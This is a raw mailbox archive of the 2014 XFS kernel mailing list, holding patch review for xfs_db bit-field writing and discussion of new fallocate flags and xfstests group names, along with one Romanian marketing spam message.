+u.bmx[0].blockcount = 256 +u.bmx[0].blockcount = 512 +u.bmx[0].blockcount = 1024 +u.bmx[0].blockcount = 2048 +u.bmx[0].blockcount = 4096 +u.bmx[0].blockcount = 8192 +u.bmx[0].blockcount = 16384 +u.bmx[0].blockcount = 32768 +u.bmx[0].blockcount = 65536 +u.bmx[0].blockcount = 131072 +u.bmx[0].blockcount = 262144 +u.bmx[0].blockcount = 524288 +u.bmx[0].blockcount = 1048576 +unable to convert value '2097152'. + +core.gen = 90 +core.gen = 165 +core.gen = 0 +core.gen = 1515847680 +core.gen = 2779054080 diff --git a/tests/xfs/group b/tests/xfs/group index 279ffe2..88285eb 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -1,3 +1,4 @@ +001 db auto quick 003 db auto quick 004 db auto quick 008 rw ioctl auto quick From david@fromorbit.com Tue Feb 18 04:34:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D4C757FDD for ; Tue, 18 Feb 2014 04:34:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C2DB2304062 for ; Tue, 18 Feb 2014 02:34:51 -0800 (PST) X-ASG-Debug-ID: 1392719688-04cb6c6de2520ef0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id z5kgX9pH8OmZ1JU7 for ; Tue, 18 Feb 2014 02:34:49 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjQHAKk2A1N5LJYe/2dsb2JhbABZgwa7C4VUgRUXdIIlAQEEATocIxAIAxgJJQ8FJQMhE4d9B8s9FxaOaweDJIEUBJRDg2iKUIdUg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 21:04:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFi0i-0007up-9e; Tue, 18 Feb 2014 21:34:44 +1100 Date: Tue, 18 Feb 2014 21:34:44 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140218103444.GF28666@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> <20140213202555.996721782@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213202555.996721782@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392719688 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.75 X-Barracuda-Spam-Status: No, SCORE=0.75 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_RULE_7580E X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145240 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.75 BSF_RULE_7580E Custom Rule 7580E On Thu, Feb 13, 2014 at 02:25:36PM -0600, Mark Tinguely wrote: > Setting the directory startoff, startblock, and blockcount > fields are difficult on both big and little endian machines. > The setting of extentflag was completely broken. > > big endian test: > xfs_db> write u.bmx[0].startblock 12 > u.bmx[0].startblock = 0 > xfs_db> write u.bmx[0].startblock 0xc0000 > u.bmx[0].startblock = 192 > > little endian test: > xfs_db> write u.bmx[0].startblock 12 > u.bmx[0].startblock = 211106232532992 > xfs_db> write u.bmx[0].startblock 0xc0000 > u.bmx[0].startblock = 3221225472 > > Since the output fields and the lengths are not aligned to a byte, > setbitval requires them to be entered in big endian and properly > byte/nibble shifted. The extentflag output was aligned to a byte > but was not shifted correctly. > > Convert the input to big endian on little endian machines and > nibble/byte shift on all platforms so setbitval can set the bits > correctly. > > Clean some whitespace while in the setbitbal() function. > > Signed-off-by: Mark Tinguely > --- > v3: > Hex input is not a number. > More ten year old white space cleanups. > > v2: > Ignore extra characters in input. > Fix hash input if still used as an integer input. > It was broken on big endian, but someone may use this input in a > little endian script. > Add documentation. > Did more clean up. > > db/bit.c | 84 ++++++++++++------------------ > db/write.c | 166 ++++++++++++++++++++++++++++++++++++++++--------------------- > 2 files changed, 143 insertions(+), 107 deletions(-) > > Index: b/db/bit.c > =================================================================== > --- a/db/bit.c > +++ b/db/bit.c > @@ -128,57 +128,41 @@ getbitval( > return rval; > } > > +/* > + * The input data can be 8, 16, 32, and 64 sized numeric values > + * aligned on a byte boundry, or odd sized numbers stored on odd > + * aligned offset (for example the bmbt fields). > + * > + * The input data sent to this routine has been converted to big endian > + * and has been adjusted in the array so that the first input bit is to > + * be written in the first bit in the output. > + * > + * If the field length and the output buffer are byte aligned, then use > + * memcpy from the input to the output, but if either entries are not byte > + * aligned, then loop over the entire bit range reading the input value > + * and set/clear the matching bit in the output. > + * > + * example when ibuf is not multiple of a byte in length: > + * > + * ibuf: | BBBBBBBB | bbbxxxxx | > + * \\\\\\\\--\\\\ > + * obuf+bitoff: | xBBBBBBB | Bbbbxxxx | > + * > + */ > void > setbitval( > - void *obuf, /* buffer to write into */ > - int bitoff, /* bit offset of where to write */ > - int nbits, /* number of bits to write */ > - void *ibuf) /* source bits */ > + void *obuf, /* start of buffer to write into */ > + int bitoff, /* bit offset into the output buffer */ > + int nbits, /* number of bits to write */ > + void *ibuf) /* source bits */ > { > - char *in = (char *)ibuf; > - char *out = (char *)obuf; > - > - int bit; > - > -#if BYTE_ORDER == LITTLE_ENDIAN > - int big = 0; > -#else > - int big = 1; > -#endif > - > - /* only need to swap LE integers */ > - if (big || (nbits!=16 && nbits!=32 && nbits!=64) ) { > - /* We don't have type info, so we can only assume > - * that 2,4 & 8 byte values are integers. sigh. > - */ > - > - /* byte aligned ? */ > - if (bitoff%NBBY) { > - /* no - bit copy */ > - for (bit=0; bit - setbit(out, bit+bitoff, getbit(in, bit)); > - } else { > - /* yes - byte copy */ > - memcpy(out+byteize(bitoff), in, byteize(nbits)); > - } > - > - } else { > - int ibit; > - int obit; > - > - /* we need to endian swap this value */ > - > - out+=byteize(bitoff); > - obit=bitoffs(bitoff); > - > - ibit=nbits-NBBY; > - > - for (bit=0; bit - setbit(out, bit+obit, getbit(in, ibit)); > - if (ibit%NBBY==NBBY-1) > - ibit-=NBBY*2-1; > - else > - ibit++; > - } > - } > + char *in = ibuf; > + char *out = obuf; > + int bit; > + > + if (bitoff % NBBY || nbits % NBBY) { > + for (bit=0; bit < nbits; bit++) Still whitespace damaged. I'll fix it when I commit it. > +/* > + * convert_arg allow input in the following forms: > + * A string ("ABTB") whose ASCII value is placed in an array in the order > + * matching the input. > + * > + * An even number of hex numbers. If the length is greater than > + * 64 bits, then the output is an array of bytes whose top nibble > + * is the first hex digit in the input, the lower nibble is the second > + * hex digit in the input. UUID entries are entered in this manner. > + * If the length is 64 bits or less, then treat the hex input characters > + * as a number used with setbitval(). Comment is now wrong. I'll fix it when I commit it. > + char *ostr; > + __u64 *value; > + __u64 val = 0; > > if (bit_length <= 64) > alloc_size = 8; > else > - alloc_size = (bit_length+7)/8; > + alloc_size = (bit_length + 7)/8; Whitespace still broken. I'll fix it when I commit it. > > buf = xrealloc(buf, alloc_size); > memset(buf, 0, alloc_size); > - value = (long long *)buf; > + value = (__u64 *)buf; > rbuf = buf; > > if (*arg == '\"') { > - /* handle strings */ > + /* input a string and output ASCII array of characters */ > > /* zap closing quote if there is one */ > - if ((ostr = strrchr(arg+1, '\"')) != NULL) > + if ((ostr = strrchr(arg + 1, '\"')) != NULL) > *ostr = '\0'; You didn't update this like I asked. I'll fix it when I commit it. > @@ -496,48 +519,77 @@ convert_arg( > * > * (but if it starts with "-" assume it's just an integer) > */ > - int bytes=bit_length/8; > + int bytes = bit_length / NBBY; > + > + /* is this an array of hec numbers? */ > + if (bit_length % NBBY) > + return NULL; > > /* skip leading hash */ > - if (*arg=='#') arg++; > + if (*arg == '#') arg++; You didn't update this like I asked. I'll fix it when I commit it. > + /* > + * Align the array to point to the field in the array. > + * rbuf = |MMmm|mmll|ll00| > + */ > + offset = sizeof(__be64) - 1 - ((bit_length - 1)/ sizeof(__be64)); More whitespace that I've previously pointed out. I'll fix it when I commit it. The fix works, so I'll say: Reviewed-by: Dave Chinner with the caveat that, as the maintainer, I'm going just going to fix the whitespace problems I've pointed out twice now because I just want the bug fixed ASAP. Mark, please take more care in future to address all the review comments that are made. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce@xmailsender.com Tue Feb 18 05:04:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.6 required=5.0 tests=DATE_IN_PAST_03_06, HTML_FONT_SIZE_HUGE,HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B1407FDB for ; Tue, 18 Feb 2014 05:04:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20E3EAC002 for ; Tue, 18 Feb 2014 03:04:43 -0800 (PST) X-ASG-Debug-ID: 1392721479-04cb6c6de15234f0001-NocioJ Received: from srv5.securmailoffers.com (srv5.securmailoffers.com [37.59.245.68]) by cuda.sgi.com with ESMTP id CWdA1yX6sRP4RBug for ; Tue, 18 Feb 2014 03:04:39 -0800 (PST) X-Barracuda-Envelope-From: bounce@xmailsender.com X-Barracuda-Apparent-Source-IP: 37.59.245.68 Received: from xmailsender.com (127.0.0.1) by mail1.xmailsender.com id h0cv6i0001g7 for ; Tue, 18 Feb 2014 12:04:42 +0100 (envelope-from ) To: xfs@oss.sgi.com Subject: WOW! Zeci de modele de lenjerie super sexy doar online. Message-ID: <9819dd3889d56f62d60965b42b79b626@xmailsender.com> X-ASG-Orig-Subj: WOW! Zeci de modele de lenjerie super sexy doar online. Date: Tue, 18 Feb 2014 08:05:11 +0100 From: "LENJERIE S.E.X.Y. ONLINE" Reply-To: no-reply-e-7@xmailsender.com MIME-Version: 1.0 X-Mailer-LID: 30 List-Unsubscribe: X-Mailer-RecptId: 11408593 X-Mailer-SID: 115 X-Mailer-Sent-By: 2 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_49d73aae33a39d43a3e5bccb79d6732b" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: srv5.securmailoffers.com[37.59.245.68] X-Barracuda-Start-Time: 1392721479 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.03 X-Barracuda-Spam-Status: No, SCORE=2.03 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2, HTML_FONT_SIZE_HUGE, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145241 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 0.39 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2 --b1_49d73aae33a39d43a3e5bccb79d6732b Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Ati primit un email in format HTML. Deoarece programul dvs. de email nu poate citi corect acest mesaj, va rugam dati click aici: http://xmailsender.com/iem/display.php?M=11408593&C=5c019f09a64e111769272e1077d438ee&S=115&L=30&N=92 Daca nu mai doriti si alte mesaje, dati click aici: http://xmailsender.com/iem/unsubscribe.php?M=11408593&C=5c019f09a64e111769272e1077d438ee&L=30&N=115 --b1_49d73aae33a39d43a3e5bccb79d6732b Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Costume-Baie.ro
Pentru a vizualiza varianta online a newsletter-ului, dati click AICI.
Sau UNSUBSCRIBE

12.jpg

Esti la birou? Deschide pe ascuns :)

Mailul contine lenjerie intima extrem de sexy!
Click pe poze si ajungi direct in magazin...

1.jpg
2.jpg
3.jpg
4.jpg
5.jpg
6.jpg
7.jpg
8.jpg
9.jpg
10.jpg
11.jpg



Primiti acest mesaj in urma abonarii dvs pe site-ul nostru sau printr-un site partener.

Pentru a fi sigur ca emailurile noastre ajung la tine, nu in folderul bulk/spam/junk,
te rugam sa adaugi adresa de email newsletter@xmailsender.com in address book.

Daca nu mai doriti sa primiti alte informari de acest gen va rugam dati click DEZABONARE
Atentie, dezabonarea functioneaza doar daca accesati linkul direct din mail, nu din browser!

 



--b1_49d73aae33a39d43a3e5bccb79d6732b-- From lczerner@redhat.com Tue Feb 18 06:04:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0E9FE7FDB for ; Tue, 18 Feb 2014 06:04:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E34FB30406B for ; Tue, 18 Feb 2014 04:04:33 -0800 (PST) X-ASG-Debug-ID: 1392725072-04cb6c6de0528e40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Vc1bQHB2psqLwhHf for ; Tue, 18 Feb 2014 04:04:33 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1IC4SnR016126 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 07:04:28 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1IC4O61023808 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 07:04:26 -0500 Date: Tue, 18 Feb 2014 13:04:24 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140218094142.GC28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> <20140218094142.GC28666@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-863531103-1392725067=:2216" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392725072 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-863531103-1392725067=:2216 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Tue, 18 Feb 2014, Dave Chinner wrote: > Date: Tue, 18 Feb 2014 20:41:42 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Tue, Feb 18, 2014 at 10:09:48AM +0100, Lukáš Czerner wrote: > > On Tue, 18 Feb 2014, Dave Chinner wrote: > > > > > Date: Tue, 18 Feb 2014 19:33:24 +1100 > > > From: Dave Chinner > > > To: Lukas Czerner > > > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > > > xfs@oss.sgi.com > > > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > > > fallocate > > > > > > On Tue, Feb 18, 2014 at 12:01:38PM +1100, Dave Chinner wrote: > > > > On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > > > > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > > > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > > > > > > > It can be used to convert a range of file to zeros preferably without > > > > > issuing data IO. Blocks should be preallocated for the regions that span > > > > > holes in the file, and the entire range is preferable converted to > > > > > unwritten extents - even though file system may choose to zero out the > > > > > extent or do whatever which will result in reading zeros from the range > > > > > while the range remains allocated for the file. > > > > > > > > > > This can be also used to preallocate blocks past EOF in the same way as > > > > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > > > > size to remain the same. > > > > > > > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > > > > you'll need patches for util_linux, xfsprogs and xfstests which you > > > > > can find here: > > > > > > > > > > http://people.redhat.com/lczerner/zero_range/ > > > > > > > > > > I'll post the patches after we agree and merge the kernel functionality. > > > > > > > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > > > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > > > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > > > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > > > > > You also want to convert xfs/242 to be a generic test - it uses the > > > > _generic_test_punch helper to test all the corner cases across > > > > different extent type transitions. > > > > That was the plan originally, however it uses xfs bmap which is not > > supported for other file systems. But I can take a better look and > > possibly port it to generic as well. > > Simply pass fiemap rather than "bmap -v" like all the other falloc > tests do. The output of the xfs_io fiemap and bmap commands is > pretty much identical so this shouldn't be an issue. ok, will do. > > > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > > > > > FWIW. if that's a group of tests you consider good for testing > > > extent tree modifications, then can you create a test group for > > > these by adding "extent" to each of the tests in the group file? > > > > I've made patches adding support for FALLOC_FL_ZERO_RANGE into fsx > > and fsstress so those tests are mostly tests which are using fsx and > > fsstress. > > Ok, so it's a "fallocate" test group, then? More like "fsx_fsstress" group, which might sound as a terrible name for the group but it explains it quite well. So if you do not have anything against that I'll call the new group "fsx_fsstress" Thanks! -Lukas > > Cheers, > > Dave. > --8323328-863531103-1392725067=:2216-- From tytso@thunk.org Tue Feb 18 08:23:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 813FA7FD5 for ; Tue, 18 Feb 2014 08:23:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D045AC006 for ; Tue, 18 Feb 2014 06:23:11 -0800 (PST) X-ASG-Debug-ID: 1392733389-04cb6c6de15334d0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id ntEvyh837JN5YXo3 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 06:23:10 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WFlZj-0001F1-Ir; Tue, 18 Feb 2014 14:23:07 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id AF5EF580217; Tue, 18 Feb 2014 09:23:05 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1392733385; bh=1nl6apyicmVE51qphyWRTMemOpApo/cqjXB/fJiIWgY=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=mGwHnboIM8LooSEc2mCQWES3cveIfVVbrNrBZ1zUe+IeSPo4hOKV5eAaZmFhswVAy 486881I6//UXfd7aDzLhDSFUo2MBlqkoXSg0M/OkOM3Y8wCct5dJzp7MWJNDfJOa/r btHsUw48n1B1D1JRVNOkZIIKoG7Gk0nUYwaApGII= Date: Tue, 18 Feb 2014 09:23:05 -0500 From: Theodore Ts'o To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: Dave Chinner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140218142305.GN26580@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> <20140218094142.GC28666@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1392733390 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 18, 2014 at 01:04:24PM +0100, Lukáš Czerner wrote: > > > Ok, so it's a "fallocate" test group, then? > > More like "fsx_fsstress" group, which might sound as a terrible name > for the group but it explains it quite well. So if you do not have > anything against that I'll call the new group "fsx_fsstress" How about "block_map" group? I like Dave's suggestion about naming the group after what it is trying to test, as opposed to how it does that testing. This is also consistent with how the other tests groups are named in xfstests. However, extents are an implementation strategy, and you might just as easily use this test to verify whether or not the punch hole functionality for indirect block maps worked correctly. What I think using fsx and fstress together have in common is that it's a great way of stress testing whatever the file system uses for creating and maintaining the translation map between (inode, logical block) to physical block, so that's why perhaps "block_map" might be a good test group name. Regards, - Ted From tytso@thunk.org Tue Feb 18 08:30:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C90D7FD6 for ; Tue, 18 Feb 2014 08:30:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 70DDA304043 for ; Tue, 18 Feb 2014 06:30:13 -0800 (PST) X-ASG-Debug-ID: 1392733811-04cb6c6de0533e10001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id A43vnMecYJNpfFIV (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Tue, 18 Feb 2014 06:30:11 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WFlgV-0001Fo-Ll; Tue, 18 Feb 2014 14:30:07 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 071FD58019C; Tue, 18 Feb 2014 09:30:06 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1392733806; bh=+Xmp3oQn0M6+O0kCAY4trhutKLE1Z3umZFga9p9AU1o=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=qAmgnFlB6zLYwlERRUzTXv+2EowePHkTH6IbN66rYYLJlXI5nN+uW8J8C5vYjRytl 3bDDXfXgIdnecOi/RD16Wy7Ksopchw6Y4W6SXPdldRdZkXI7LsgTinLFjtETIGVoOX C3seITz5rrfpmVnKISshyQR09Pdn+ujb8lTofqiw= Date: Tue, 18 Feb 2014 09:30:05 -0500 From: Theodore Ts'o To: Namjae Jeon Cc: =?utf-8?B?THVrw6HFoQ==?= Czerner , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140218143005.GO26580@thunk.org> X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Mail-Followup-To: Theodore Ts'o , Namjae Jeon , =?utf-8?B?THVrw6HFoQ==?= Czerner , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1392733811 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Namjae, Did you respond to Matthew Wilcox's comments/question from Feb. 2nd? > > What if the file is mmaped at the time somebody issues this command? > > Seems to me we should drop pagecache pages that overlap with the > > removed blocks. If the removed range is not a multiple of PAGE_SIZE, > > then we should also drop any pagecache pages after the removed range. > > Oops, forgot to add "and if it is a multiple of page size, then we need > to update the offsets of any pages after the removed page". Dave responded that XFS does the right thing when doing a punch hole operation, but it wasn't obvious to me whether FL_COLLAPSE_RANGE does the right thing with ext4. Thanks, - Ted From bounce@xmailsender.com Tue Feb 18 09:27:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 